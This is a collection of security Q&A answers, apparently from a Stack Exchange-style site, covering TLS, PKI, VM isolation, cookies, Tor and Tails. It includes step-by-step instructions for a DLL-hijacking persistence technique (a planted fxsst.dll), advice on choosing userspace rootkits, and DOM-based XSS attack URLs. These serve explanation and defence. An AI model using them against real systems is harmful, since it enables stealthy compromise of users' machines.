At the handshake level, you may get some performance issue related to the asymmetric cryptography, although I don't quite believe it because a set top box which can run a modern Web browser ought to have enough punch to do such cryptography quite efficiently. You may want to make sure that your cipher suite uses a RSA key exchange (i.e. a cipher suite of type "RSA", not "DHE_RSA") because RSA key exchange is very light (computationally) on the client. However, in any case, since connections are kept open and SSL sessions reused, this may matter only for the very first connection from the client to a given server, and should not impact performance in a continuous way.

Another one-time impact is that for the very first handshake, the client must validate the server's certificate, and that can be expensive -- especially if the client must download some intermediate CA certificates, and obtain CRL and/or OCSP responses. You will not be able to change that with a choice of cipher suite. Make sure that your server sends a complete certificate chain to the client.

For continuous sluggishness, the symmetric encryption part would be a more plausible culprit. Roughly said, you want cipher suites which use AES or RC4, not cipher suites which use 3DES. 3DES is known to be slow.


How to ensure that VirtualBox guests can't break out of the vm to get access to the host machine?

Here's some basic steps that I follow when I'm testing in a virtual environment.

Step one: use an operating system that differs from the one being virtualized.  If you're running Linux virtual machines, use the windows VirtualBox installation.  Note: I have never seen actual evidence that this helps, but I have always done it simply to stay on the safe side.

Step two: I don't have as much experience with VirtaulBox in particular with this, but make sure to disable any host/client shared directories, do not install VirtualBox Additions on the host, and configure any other available options which help segregate/sandbox the virtual machine.

Step three: Properly set up your network.  Make sure that, at a minimum, the host's sub-net and the VM's sub-net are segmented.  By segmentation I mean that is security and controls between the two networks (i.e. firewall, acls, etc...).  One may even take it as far as not persistently networking the host machine;  Set up one NIC as management that isn't plugged in until you need to actually interface with the hypervisor and connect the VMs through other NICs.

This is pretty universal for any virtual environment.  Something else I would do is research exploits regarding VirtualBox.  Can you find exploits that let you dos the host via the guest? exploits that let you break into a host terminal/console? etc?  If you find these exploits, configure the "hardened" virtual environment and then give them a try; see if they work.

The rest all depends on what you want to do with the machine.  If you just want it to be as secure as possible, than most of the work will be on the guest side of the puzzle, making sure that the OS is secure.  If you want to set up a pen-test lab, then those steps should leave you at a good place to start throwing together some scenarios.  If you want to tell us what you were thinking of in particular, we can give you some more help.


Compromised server with psyBNC - what are our next steps?

PsyBNC is an IRC bouncer, i.e. a program meant to relay communications for the IRC chat network. By itself, it is pretty benign; it uses part of your CPU and bandwidth, and might be used as an indirect tool for relaying data or mounting attacks of questionable legality.

The real question is: since installing and launching this program requires administrative rights on your server, whoever did it could have done a lot more things. So, what did he do ?

The potential impact is that this unidentified individual installed other tools, e.g. a rootkit, meaning that he can come back at will and totally control the machine; no data on it is safe, and the machine can then be used in various nefarious schemes which could be very embarrassing for you (up to and including plunging you into deep legal trouble -- in a kind-of worst case scenario where the attacker is part of Al-Qaida and brings your machine to the attention of the CIA). As a basic rule, if your machine is rootkitted, then it no longer is your machine.

Therefore, the prudent course is to reformat the machine and resinstall it from scratch. All your backups are suspect, too.

Nuke, nuke, nuke from orbit
Cleanse it with fire
Kill, kill, kill all the bits
Lest things become dire


Using GPG or PGP, is there a way to give another user (or key) access to decrypt a file for a limited time only?

I think the easy and obvious solution is to encrypt for multiple recipients:

each party should create their own PGP key and provide you with
their public key
then you PGP-encrypt the files for all the parties that should be granted access
when you decide someone should no longer have access to future files you stop adding them to the list of 'recipients'

It is also possible to configure GnuPG so that you don't have to specify the recipients manually every time.
For this you add a line in your gpg.conf file with the encrypt-to directive followed by the key ID (one line per recipient).

Time-limited access is an oxymoron.


Do Diffie-Hellman parameters need to be recreated regularly?

Generally speaking, no, you do not have to recreate the parameters regularly.

Diffie-Hellam gets broken through solving the discrete logarithm problem (technically, there is no proof that one must solve DL to break DH, but that's still the best known method). It so happens that if you are able to break one instance of DL, then you can reuse much of the work to break other instances of DL, provided they all use the same modulus (i.e. the same "DH parameters"). In the case of the recent "Logjam attack" this was put to use: since some client and servers agree to use a weak modulus (of 512 bits) and, moreover, they all appear to use the same modulus, the attackers, after having broken DL once (through significant effort), can now do the same again for that specific modulus in quasi-real-time, which then makes MitM practical.

The initial "if" is a big one, though. Normally, you would use DH parameters that are large enough to utterly prevent that initial DL-breaking effort to take place. You don't want attackers to expand an initial success into easy MitM, but you don't want them to achieve that initial success either. Using a 2048-bit modulus sets you already quite far in the "can't break it" zone. See this site for details. Also, even in a sci-fi scenario where your DH gets broken, this will still be your parameters, and the attack effort won't be applicable to other servers -- which means that breaking efforts on the DH parameters of other people will not impact you. By using parameters you generate yourself, you already obtain the bulk of the protection. In fact, even with a 512-bit modulus, using your own parameters instead of the "standard" ones would already offer a great deal of protection, because while the initial break of a 512-bit modulus is feasible, it still is a substantial effort that attackers are unlikely to make if it only unlocks access to a single server (yours).

Another way to view that question is to consider the server key. In SSL/TLS with DHE, the client and server do a Diffie-Hellman key exchange, but the server also signs what it sends (usually with RSA). The server's key must also not be broken by attackers, since otherwise that attacker could impersonate the server and, again, run easy MitM attacks. Thus, regardless of what you do with the DH parameters, you still need to take care of your server key; in other words, it is not useful to make the DH part really stronger than the (RSA) signature part. This extends to the notion of key renewal: if you feel that you must renew your RSA key every three years (that's an example) then you may want to renew your DH parameters at the same schedule. It is useless to renew it more often than that. Similarly, since DH and RSA keys appear to offer similar resistance for the same length, you will want to use a 2048-bit DH modulus if you also use a 2048-bit RSA key.

Technically, key renewal is useless, but people tend to believe that key renewals grants supreme security benefits in some fuzzily-specified way, and they are quite fond of it. If you feel that you need to renew your RSA key on a regular basis, so that you may sleep better at night, then go for it. The same psychological reasons would apply to the DH parameters, so if renewal is your thing, then renew the parameters the same day.

(If we want to go into tricky details then we may argue that the server RSA key is for a different security model than the DH parameters, since signatures are for immediate server authentication, while the DH must resist recording and ulterior breaking, possibly years after, depending on the type and worth of the data that is protected. However, a past recorded conversation is, by definition, unimpacted by later renewals, so this argument does not ultimately apply to the present question.)


Is there a term for over-zealous security policies?

"Over-zealous security policies" works for me. ;)

An engineering term I have used to describe the situation where conflicting security policies prevent work from being accomplished is "overconstrained" (the equivalent mathematical term is overdetermined). The principle is that there are multiple conditions placed on a particular system, all of which it is mathematically or physically impossible to satisfy simultaneously.


Importing a self-signed certificate into Windows via the Microsoft Management Console

Yes, you're right, only certificates signed with the CA certificate/key pair you've created (or with intermediate CAs signed, in turn, with your CA) would be trusted. Whether owner of a CA certificate added to TRCA folder (i.e. a certificate authority) is an organization, a person or whatever (and how she or he's related to other certificate authorities) is out of scope of the PKI. Take care of your private key related to the certificate, and everything will be alright.


Is there any point in setting the secure cookie flag for HSTS websites?

Yes, you should still mark your cookies as secure, for three reasons:

You dont want them to be exposed just because of a server configuration mishap. What if you move your application to a server with a different configuration?
HSTS is trust on first use. If your HSTS has expired but your cookies has not, the browser may send them unencrypted. Whether or not there is something responding to plain HTTP is irrelevant here.
As Tgr writes, not all browsers support HSTS.

I admit that the benefits aren't huge here, but the cost is basically zero. So set the secure flag!


vt-d Virtualisation and Trusted Execution Technology

Trusted Execution Technology is coupled with a collection of security features available on the modern Intel chipset.  The Trusted Platform Module (TPM) and other DRM like features are also in this bundle.  The reasoning behind this is because of abstraction,  which is more commonly attributed to a software architecture.   The commonality behind all of these features is restricting what access a piece of software has and there for they are going to share complexity and thus they become coupled.

This leads into the next question How does TXT enhance security?   A very important feature of TXT is to isolate the memory used by guest vm's.  What if a guest vm had a malicious kernel that tried to access memory owned by a host or another guest?  TXT is very efficient method of preventing this from happening.  Purely software VM's also have this important feature,  but there is more overhead.   TXT also comes into play for controlling who has access to hardware peripherals like the mouse/keyboard and mass storage devices.


You might not have high privileges on the system you're targeting. If you don't have ring 0 or equivalent privileges that allows you to modify the kernel (e.g. by loading custom unsigned kernel modules when supported), you might have to limit yourself to a userspace rootkit. Just because you have root doesn't mean you can get ring 0, and many secure configurations prevent root from modifying the kernel.

Another reason you might prefer a userspace rootkit is because it is less likely to crash or malfunction. A kernel rootkit will typically only work with one specific kernel version, and any update to the kernel requires adjusting the rootkit. Furthermore, a kernel rootkit is more likely to cause instability and bring the entire system down. If you don't need the powerful features a kernel rootkit can give you like syscall hooking, you might choose the option which is more stable and works on a wider variety of systems.

A well-designed userspace rootkit might work equally well on Debian Linux as on Solaris (a UNIX which has no code in common with Linux systems), but a kernel rootkit designed for Debian with kernel 4.18.6 might not even load if you try to run on CentOS, even if the kernel version is the exact same.


You can find the information at Wikileaks page.

This is a simple DLL hijacking attack that we have successfully tested against Windows XP,Vista and 7. A DLL named fxsst.dll normally resides in \Windows\System32 and is loaded by explorer.exe. Placing a new DLL with this name in \Windows results in this being loaded into explorer instead of the original DLL. On Windows Vista and above, the DLL‘s reference count must be increased by calling LoadLibrary on itself to avoid being unloaded.
This achieves persistence, stealth, and (in some cases) PSP avoidance.

So basically:

Compile your application as .DLL
Place it in C:\WINDOWS as fxsst.dll
It will be loaded by explorer.exe - (perhaps killing is enough)

The original file is located in C:\Windows\System32\fxsst.dll (handles T.30 Fax Protocol), but if you place another DLL called fxsst.dll in C:\WINDOWS this one will be loaded instead.
From Vista and above you need admin rights to install the DLL and you have to call LoadLibrary on your own DLL Loadlibrary("C:\\WINDOWS\\fxsst.dll") to increase the reference count or it will be unloaded with FreeLibrary.


Is Dom based XSS still a valid security concern in modern browsers?

Yes, DOM-based XSS is still a concern. While some issues cannot be exploited due to URL encoding, there a number of situations where URL encoding will not stand in the way of exploitation.

  The gist of the example is to form a hashbang query with injection

That's one example, but DOM-based XSS encompasses all XSS issues that result from insecurely handling data via JavaScript.

Data can come from sources such as the URL, the DOM itself, etc.

The most basic example where user input is eg read from location.search and processed with innerHTML or .write will indeed not work with any up-to-date browser, as the value is URL-encoded.

But DOM-based XSS with different sources than location.search or different sinks than innerHTML will still work, and do exist in real-world applications.

An incomplete list of examples with different sinks and sources can be found below.

Source: URL

An example for a DOM-based XSS vulnerability where the user input comes from the URL:

Attack:

http://example.com/test.html?x=

Source: The DOM

In my experience, this is the most common class of exploitable DOM-based XSS issues.

Let's assume an application that properly HTML-encodes all user-supplied data that is inserted into the HTML code.

Applications will still often read out user-supplied data from the DOM, and then reinsert it in an insecure manner. For example:

<input type="text" id="userinput" value="&quot;>">

Sink: Eval

Sometimes, we don't need " or > to gain XSS. An example would be user input that is passed to eval:

Attack:

http://example.com/test.html#';alert(1);x='

Sink: document.write

Another example where we do not need " or > and which works with document.write:

Attack:

http://example.com/test.html#test'onmouseover='alert(1)


How is tivoization implemented in hardware?

Tivoiazation was added to the Series 2 line.  I tracked down a 2003 TiVo community thread discussing the new protections:

  The ROM checks for a signature on the inital ram disk (initrd). The
  ROM uses TiVo's public signature to make sure it was signed by TiVo's
  private signature. If it passes, the initrd is loaded. Next, linuxrc
  (in the initrd) checks files in the system directories against a list
  of signatures contained in the initrd. If the signature doesn't match,
  it tries to restore it. If that fails, it won't boot. It also deletes
  unauthorized files, and removes "dangerous" items from the environment
  (like BASH_SHELL). It then passes control to the usual Linux startup.

By the end of the thread we find someone has successfully flashed a unit and is offering physical disks with patched versions of telnetd and ftpd.  Here he posts his success with at least on variant of the series 2:

http://www.dealdatabase.com/forum/archive/index.php/t-25116.html

I also found this thread:

http://www.tivocommunity.com/community/index.php?threads/hacking-your-series-2-dtivo-just-got-a-whole-lot-easier.265929/


Is Facebook Connect or Twitter OAuth PCI Compliant?

PCI DSS v2, Requirement 7: "Implement Strong Access Control Measures" is the pertinent section.  This section details access control primarily for non-consumers that will be accessing cardholder data for business purposes, though there are a couple requirements that seem applicable to consumers as well as non-consumers:

  8.1 Assign all users a unique ID before
  allowing them to access system
  components or cardholder data

  8.2 In addition to assigning a unique ID
  employ at least one of the following
  methods to authenticate all users:
   Something you know, such as a
  password or passphrase
   Something you have, such as a
  token device or smart card
   Something you are, such as a
  biometric

  8.3 Incorporate two-factor authentication
  for remote access (network-level access
  originating from outside the network) to
  the network by employees,
  administrators, and third parties. (For
  example, remote authentication and dialin service (RADIUS) with tokens; terminal
  access controller access control system
  (TACACS) with tokens; or other
  technologies that facilitate two-factor
  authentication.

  8.4 Render all passwords unreadable during transmission and storage on all
  system components using strong
  cryptography

With the above in mind, it would seem that someone could make the case that Facebook Connect/oAuth would be considered a 3rd party service that connects to the cardholder system, and hence would be required to authenticate via two-factor to your system. (From requirement 8.3)

Though I could also see the case being made that it is not really a third party service connecting to the system--It is merely facilitating authentication of consumers to your system.

Your QSA would have to make the call on it.


Can play store applications be tampered with by Google?

According to the Android Developer Documentation:

  Android requires that all apps be digitally signed with a certificate. [...]
  The certificate does not need to be signed by a certificate authority.

At least in my case - multiple apps with small user base - they are all self-signed.

For self-signed Apps a third party could tamper with the APK and self-sign it again. This would be quite hard to detect for the end-user. Stock-Android does not check if the Code-Signing-Certificate is trusted.

It just validates that - for example in case of an update - it's the same developer the two APKs come from:

  If you publish an app to Google Play and then lose the key with which you signed your app, you will not be able to publish any updates to your app, since you must always sign all versions of your app with the same key.

As @Noir already stated in his comment: You already trust Google - you are using Android - so they already have all possibilities.


US export control on open source libraries

As I understand it, if I build it from within the US and sell it to other countries it's under export control.

If I consume someone else's libraries while I am in the US that were built either in or out of the US and sell it to other countries its under export control.

If I consume someone else's libraries that were built in or out of the US and only sell to companies in the US, it's not under export control. However, those who I've sold it to are under export control if they resell the product to an external country.


Is OpenSSL generating Diffie-Hellman parameters that are safe for use in TLS or SSH servers?

Checking manual page for ssh-keygen gives hints about generating and verifying the parameters (moduli file):

ssh-keygen -G moduli-2048.candidates -b 2048
ssh-keygen -T moduli-2048 -f moduli-2048.candidates

which sounds for me like a proven way of doing this. But I also discourage you from doing that. The examples what can go wrong are answered in related question, but basically it is really hard to verify that the generated prime is prime. Usually you can be sure that the divisor is "large enough".


If you are using PEAPv0 with EAP-MSCHAPv2 authentication then you should be secure as the MSCHAPv2 messages are sent through a TLS protected tunnel. If you would not use a protected tunnel, then you are indeed vulnerable.


Is leaving a web server port open on my router a security compromise?

Forwarding external connections to some service inside the internal network is not a security compromise by itself but it could result in one. While the port forwarding will only give access to the specific service from outside it is not uncommon that the a web application (which is now available from outside) can be hacked and that the attacker thus gets access to the system where the application is running on. And sometimes its not even a problem of the web application but that the web server itself allows remote code execution already.

If the attacker has compromised the system of the web server this way it can now do even worse: Since this compromised system is on the internal network the attacker can use it as starting point to compromise the rest of the network.

Thus if you want to expose servers to the internet you should never forward external connections to the inside but instead put the server into a DMZ, i.e. a separate network which has limited visibility from the internet but can not access the internal network. This way the web server itself might still be compromised but it gets much harder to extend a successful attack into the internal network.


Can I crack a zip file using Hash Suite on Windows?

You've calculated the MD5 of the file itself, not of its password ('123').

According to its download page, the only hashes supported by Hash Suite are as follows (and ZIP files are not included):

LM, NTLM, Raw-MD5, Raw-SHA1, Raw-SHA256, Raw-SHA512,
DCC, DCC2, SSHA, MD5CRYPT, BCRYPT, WPA-PSK

Compressed file formats are only supported for storing wordlists, not for attacking the hashes for those formats.

You can't crack a ZIP file with Hash Suite. (But you can crack some of them with its cousin, John the Ripper.)


Besides Browsers, what other Technologies are Impacted by the Deprecation of SHA-1?

Would a service be impacted if the system does not have any
  interaction with browsers?

Not by the browser sha-1 deprecation. However, sha-1 is used and being deprecated on many other scenarios. Digital signatures, TLS communications in general (clients may start refusing it soon or already refusing it), authentication systems. It should be abandoned as soon as possible, because unlike browsers, in other scenarios the deprecation might not be so well coordinated and planned and just hit you one day.


Need to infect a computer for testing - how do?

For testing purposes, use the Eicar test file. Just copy it onto your machine, no need to install.

There are even variants, such as zipped and double zipped versions of that non-malicious test virus.


Yes, it's just a base64 encode of the salt.
Yes, all UNIX/UNIX-based systems have some standardisation of their user databases and functions. FreeBSD was the first variant to use MD5 and encode is in the UNIX scheme of $algo$salt$hash base64 encoding the salt and the hash parts. Linux uses it in an identical way if md5 is being used (unlikely on new Linux systems).


Clarifying self-signed certificates vs root certificate authority

You should see the certificate infrastructure (that is to say the PKI, Public Key Infrastructur) as a web of trust.

When you are communicating with multiple persons, which wants to mutually authenticated themselves (and their websites), you first choose a common trusted person. This third person becomes a "Trusted Third Party" and will be called the "Certificate Authority" (CA) for the purpose of certificate management.

The CA will create a master key, also known as root CA key. The private key will be kept secret by the TTP at all cost. The public key will be embedded into a certificate, and this certificate will be signed by the public key of the CA. This means the certificate is self-signed and you can verify the signature with the key inside it.

Let's assume now that you want to access Alice's website, but you want it to really be Alice's website and not another person that claims to be her. Alice is part of you community and therefore contacts the CA you agreed to use. She sends the CA a CSR (Certificate Signing Request) which basically is a public key. The CA do the process of verifying that Alice is Alice (for example, the responsible person meets Alice in person and get the CSR from her hands). When the CA is sure Alice is Alice and the CSR belongs to her, the CA can create a certificate in the name of Alice and sign this certificate with the CA private key.

When you connects on Alice's website, you ask for the certificate. Once you get the certificate, you want to verify it's the good one. You can see in the certificate that it has been issue by a CA. If you have the CA key you can verify the signature. If you trust the CA is doing its job correctly, then you can trust that this certificate is a good one and since the CA trusts it authenticated Alice in the first place, then you can trust that this certificate belongs to Alice.

You can then be sure that encrypting a message with this public key will only be read by Alice who has the corresponding private key. You are also sure that anything singed by this certificate is a signature made by Alice.

If Alice wants to authenticate you in return, then you need to do the same things (get a certificate signed from the CA, since Alice trusts the CA as well she will trust this certificate)

In your case, since it seems you master all the endpoints, you could simply create two self-signed certificates (which are in fact two root CA certificates) and exchange the public parts to the other endpoint. Each endpoint will use their own private key to sign outgoing requests and decrypt incoming messages, and the other endpoint certificate to encrypt outgoing message and verify incoming messages.

If you happen to have a lots of endpoint, it could be worth to create your own CA. You generate a root CA certificate then you sign certificate for each endpoints. At each endpoint you can install the public root CA cert. Then each time a endpoint connects to another, the contacted endpoint can send its certificate and the caller can verify it against the root-CA cert.

The first method has the advantage of being straight forward, but compromising of one certificate implies to exchange it for a new one on all endpoints. The second method has the advantage to be scalable, one endpoint does not have to know how many other endpoints exists since it can validate the certificate on the fly anyway. Moreover there are way to manage key compromising with Certificate Revocation Lists for example.


It is as safe to store a secret in LDAP (using Access Control Lists) as it is in say a database with row security or a file system with access control lists

The secrets won't be encrypted, so they can be viewed by a superuser. But they are protected from other users

You would need to use end-to-end encryption to hide secrets from a superuser

Passwords are generally hashed in LDAP


If the script is hosted by a third party

You have no control over the script. This includes both content and availability.
The script can be changed at any time, in a good way (security update), in a bad way (site hacked) or in an inconvenient way (bug fix which unfortunately breaks your use case). But, if you want always the latest version of the script you could also simply have a cronjob running which copies it to your own site and thus keep it available even if the third party goes down. And you could keep versions of the script in order to audit what changes they made and how these could impact your site and your users.
You fully rely on the security of the third party. This includes that you rely on their site not being hacked, their DNS provider not being hacked and that they never fail to renew their domain name (since others could hijack it otherwise). This also means that you have trust in their employees that they don't change your script willingly (like adding a back door) or break things accidentally.
By looking at the Referer HTTP header of the requests the third party can track where the script is embedded. These URL's might also contain sensitive information in the URL itself. Also the third party could track your users using cookies (obvious) or caching headers like Etag (less obvious since caching is probably expected).
If the script is not served from your own site another TCP connection has to be created by the browser to get the script and maybe another TLS session too (in case of https). The existing connection to your site cannot be re-used for this. This means embedded third party script can actually reduce the performance of your site, or at least the performance is outside of your control.

In summary: I see mainly problems when embedding third party scripts. You loose control, security, privacy and maybe even performance. Only if you can fully (i.e. 100%, not only 99%) trust the third party to not willingly or unwillingly harm you, you could think of embedding the scripts directly from the third party.  Especially in case your own site is slow or bandwidth restricted compared to the third party hosting you might get some performance gain if the script is large.


Are outputs of this random string generating software safe to use as strong passwords?

The naive way of doing this:

... {
    result.Append(chars[b % (chars.Length)]);
}
tbOutput.Text = Convert.ToString(result);

will produces a password with non uniform character distribution, which is a weakness.

One way to generate unbiased output (untested, and I'm not a C# programmer, so some of the syntax might be off), note that this is probably not the most efficient method for doing this:

RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider();
System.Text.StringBuilder result = new System.Text.StringBuilder();

// assumption: chars.Length < ulong.MaxValue
ulong bound = ulong.MaxValue - (ulong.MaxValue % chars.Length);

while (result.Length < desiredPwLen) {
    // assumption: ulong is 64-bit
    ulong rndNum;
    do {
        byte[] rndBytes = new byte[8]; // assumption: 1 byte is 8 bits, so 8 bytes is 64 bits
        rng.GetBytes(rndBytes);
        rndNum = BitConverter.ToUInt64(rndBytes, 0);
    } while (rndNum >= bound); // rndNum above bound is biased, so we discard them, and roll again

    result.Append(chars[rndNum % chars.Length]);
}
string password = result.ToString();

Answer to your Questions:

  Is it safe to use this output as a strong password?

Probably yes, while your password encoding method has the weakness I mentioned above, if the length of your password are long enough, then it would have compensated for the bias.

  Is there anything else I should implement to enhance security?

I've provided above an improvement that fixes the bias.


Whether your site is unpublished or not makes little difference:

Web spiders (automated engines which index content on websites for search giants like Google and Yahoo) automatically crawl every site they can find through DNS records.

You will likely receive dozens, if not hundreds of these types of visits on a daily/weekly basis.


Using file extension and MIME type (as output by file -i -b) combination to determine unsafe files?

Warning. The steps you describe are not enough to be safe, if those files are available from your servers.

Explanation. Because browsers do content-sniffing in a variety of circumstances to guess at the appropriate MIME type, there are a variety of subtle cross-site scripting attacks that remain possible.  The general category is sometimes known as content-sniffing XSS.

See the following research paper:

Adam Barth, Juan Caballero, and Dawn Song.  Secure Content Sniffing for Web Browsers, or How to Stop Papers from Reviewing Themselves.  IEEE Security & Privacy 2009.

The following blog posts and messages also discuss this threat:

Andreas Gohr, Chris Smith.  MSIE facilitates Cross Site Scripting.  February 2007.
Jessica Hope, rotwang.  SMF upload XSS vulnerability.  December 2006.
Robert McMillan.  A photo that can steal your Facebook account.  July 2008.

Defenses.  I recommend that you adopt the following defenses and mitigations:

Host the content on a separate domain, which is used only for hosting user-uploaded content.  This will sandbox it, so content-sniffing XSS attacks can only attack other users' content, and cannot attack your site.  (For example, Wikipedia and Facebook use this defense.)
Make sure to set a correct Content-Type: header on every response that serves user-uploaded content.  Vet the content-type to make sure it is one of several options on a whitelist of safe content types.  Avoid sending an invalid MIME type (e.g., */*, unknown/unknown, application/unknown), and avoid responses that lack a Content-Type: header; those are subject to browser content-type sniffing and thus at high risk of attack.  Avoid the MIME types that cause IE7 to do content-type sniffing (see the Barth et al paper for a list, in Table 4).
When serving user-supplied content, never serve one with an unsafe MIME type that can trigger execution of active code.  For example, avoid all of the following: text/html, application/x-shockwave-flash, as they can contain privileged code.  Unfortunately I don't think it is safe to serve user-supplied Flash content from your site.
When serving user-supplied content, include a X-Content-Type-Options: nosniff header along with the Content-Type: header, to disable content-type sniffing on some versions of IE.
For content that you don't expect to be displayable in the browser, mark it so the browser will handle it as a file download: e.g., add a Content-Disposition: attachment header.

(If this sounds annoying, you sure are right.  Blame the Apache folks for including a crummy default configuration that broke web standards, for many years, and ignored pleas to do something about it.  Unfortunately, now it is too late: we are stuck with a large deployed base of browsers that do dangerous things.)


Does it make sense to restrict the usage of Metasploit in Penetration testing exams ?

A test is free to restrict the conditions of a test for their own reasons depending on the effect that they want to test.

Remember that the point is not to "get the right answer" but to teach and test understanding of the underlying concepts. It's like restricting the use of calculators when the test is about testing the student's ability to calculate based on their wits alone.

So, it is certainly valid to restrict the use of certain tools if your goal is to graduate someone who can understand how to modify and use exploits from exploit-db (even kernel ones) with confidence.


DKIM/SPF problem causing lots of DMARC reports

This is not an error report but an aggregate report you probably requested by providing the appropriate DMARC policy (i.e. setting the rua field). The report shows that both DKIM and SPF check pass for this IP address. For more information about how to read this report and how to request it (or stop it) see How to Read Your First DMARC Reports.


Client Side Encryption When Storing Data on a Server and Accessing From Multiple Devices

The two obvious options are -

Client side encryption with an exportable key. The key can be backed up at creation somewhere the owner views as secure. Alternatively it can be encrypted with a user provided password and uploaded to the service - providing this additional password on client install allows additional devices to decrypt the key.
Client side encryption with a key derived from a passphrase. Similar to the model above with key encryption and upload except no key data needs to be stored on the remote server.

*Both of the above (assuming password encryption for the first) can be achieved with a single passphrase. An unsalted hash of the password is taken and used for the encryption passphrase. This is then hashed again before being passed to the server for authentication. The downside would be for password change all data would have to be downloaded, reencrypted and reuploaded.


Is a Master's in infosec required to break into the security field?

Your lack of a master's degree won't make any difference, but your lack of any relevant work experience will kill you (unless you've got a few years working in IT security that you've not mentioned). Before you can work as a consultant in any field, you need to be able to demonstrate a track record of proven achievement, not just academic study.


BadSSL is open-source. You can find some of the certificates in their GitHub repository.

On Chrome, you can also export the certificate used for a tab.

Click on "Not Secure", then click on "invalid" under "Certificate".
See the details tab, then click "export" to save the certificate.


Hybrid Encryption System - Is this unnecessary in this case?

In both steps, encryption and decryption, your application will be accessing the keys to access the data. More so, in the decryption case you'll have to find a way to securely access the supposedly securely-stored private key.

I see no point of using asymmetric cryptography. Use symmetric crypto (AES), store that key securely, and use that key to encrypt/decrypt your data.


Can a secure cookie be set from an insecure HTTP connection? If so, why is it allowed?

Secure cookies can be set over insecure channels (e.g. HTTP) as per section 4.1.2.5 of RFC 6265. It explicitly mentions that the Secure flag only provides confidentiality and not integrity, as a Secure flagged cookie can still be set from an insecure channel, overwriting any previously set value (via a secure channel or otherwise):

The Secure attribute limits the scope of the cookie to "secure"
channels (where "secure" is defined by the user agent).  When a
cookie has the Secure attribute, the user agent will include the
cookie in an HTTP request only if the request is transmitted over a
secure channel (typically HTTP over Transport Layer Security (TLS)
[RFC2818]).

Although seemingly useful for protecting cookies from active network
attackers, the Secure attribute protects only the cookie's
confidentiality.  An active network attacker can overwrite Secure
cookies from an insecure channel, disrupting their integrity (see
Section 8.6 for more details).

Section 8.6 gives several examples, but I won't copy-paste them here due to how long the section is.
As for why, there's no clear use-case that I'm aware of. I suspect that the RFC was written from the perspective of having only the goal of protecting confidentiality, and therefore preventing Secure flagged cookies from being accepted when set over HTTP was an unnecessary restriction for that goal. My guess would be that the rationale was "if we provide this functionality, people may assume that cookie integrity is protected by the Secure flag, and we don't want people to make that assumption".
That said, the fact that the data can be set over an insecure channel does somewhat negate the concept of only sending the cookie value over a secure channel, so the decision's sensibility is arguable. The RFC does at least mention that you lose both confidentiality and integrity if you do this.


How do you validate the signature?  If you can compromise the system files, chances are you can also compromise the root public keys being used to validate against and the files would still appear valid.  Signed files only helps if the system is otherwise secure, if the system files themselves are corrupt, that is no longer a true statement and all pretense of security goes out the window.

Now if you are just talking about secure, trusted boot and requiring a signed OS kernel and bootloader at the EFI level, that is supported when using BitLocker, but most systems don't bother to fully support this, so it can't be on by default as most hardware and/or consumers can't or won't make use of it.


Is there a way to check if Google Drive is scanning folders other than the ones I have synced?

You can use Process Monitor.  This was developed by Mark Russinovich and was then bought out by Microsoft who gave Russinovich a job.

https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

  Process Monitor is an advanced monitoring tool for Windows that shows
  real-time file system, Registry and process/thread activity

It can be a chatty old application to monitor though, so you might want to turn off AV and anything else that is running in the background.


How can I prevent a user from copying files to another hard drive?

You can disable USB storage on Linux by blacklisting the module.

modprobe -r usb-storage
echo blacklist usb-storage >> /etc/modprobe.d/10-usbstorage-blacklist.conf
echo blacklist uas >> /etc/modprobe.d/10-usbstorage-blacklist.conf

If your users have physical access to the machine, and knows the encryption keys, the game is up no matter what you do software-wise.

My suggestion would be to limit the access to physical interfaces of the machine. Lock it inside a box, and only let users interact via a keyboard, mouse and screen.

You should also note that you can't stop a user from copying something. Worst case? Take up the phone, and take pictures of the screen as they sift trough the files. Data loss prevention should in my opinion be targeted at stopping accidental copying to untrusted devices.


How can malware discover the real IP of a TAILS user?

You are right that Tails only enforces conection over Tor circuit. Even if there's a malware running with application privileges, its traffic has to be routed through Tor. User-level applications cannot enforce their own network configuration in Tails. As facebook refused to disclose the vulnerability, this is what might have happenned.

Media file carries the payload.

a zero-day exploit in Tails: a bug in its video player

On running the media file, payload exploited a vulnerability in media player to execute arbitrary code inside a payload. Atleast a vulnerability in media player is confirmed by facebook.

That arbitrary code exploited a second vulnerability to gain privilege escalation.

Now the payload has privileges of a system, it patched the system to bypass Tor circuit.

Malware was able to connect with FBI controlled server directly.

It's likely a chain of vulnerability with privilege escalation attack. Given the cost of this exploit is in 6 figures and facebook non-compliance with vulnerability disclosure, it's safe to assume that critical zero day exploit was involved.

Sources told Vice that since an upcoming Tails update was slated to strip the vulnerable code, Facebook didn’t bother to do so.

It is still not clear from this context where the vulnerability resides apart from the one which was in media player as compromising an application in Tails doesn't give you privilege of bypassing Tor circuit. We still have to wait for official response from maintainers of Tail. No CVE has been assigned as of now.


Why can't a Tor node simultaneously be a guard and an exit node?

Because guard relays (also called entry relays) can never be exit relays.

If you use a proxy or VPN, you have some anonymity, but also a single point of failure.
If someone compromises the machine doing the relaying, they know your IP and the IP of where you're going.

Tor protects against that by having at least 3 proxies in between (relays):

You---[ Tor 1 (entry) ]--[ Tor 2 (middle) ]--[ Tor 3 (exit) ]--Destination

Relay 1 knows who you are, but not where you're going.

Relay 2 only knows where to forward it in the network.

Relay 3 knows where you're going, but not who you are.

This way, an attacker looking at the network can't easily see where
you're going by looking at where the entry node is sending its data, or where the exit node is getting its data.

It follows that when you're trying to separate things this much, the two most sensitive relays, entry and exit, can not be run on the same machine.


Is it ever safe to skip server-side validations?

The short answer is yes, you should always implement server side validations to prevent attacks. You can never trust client side applications as anything that is installed locally can be subverted by an attacker. They can also see what you are checking for, which gives them even more information with which to attack your server.

Many exploits target vulnerabilities in the underlying operating systems or supporting services, for example buffer overflows, SQL injections, and many others. Server side checks are the only way you have to prevent these types of flaws from being exploited, by verifying that input is within limits and is in the format expected. Without checks (and log messages warning on suspect inputs) you won't have any warning that someone is targeting your system, you could get hacked and never know it.

Even if you are never targeted servers side checks add another level of assurance, if you or someone else makes a change to the client side application which breaks something then server side checks can save you a huge amount of cleanup. It's well worth your time.


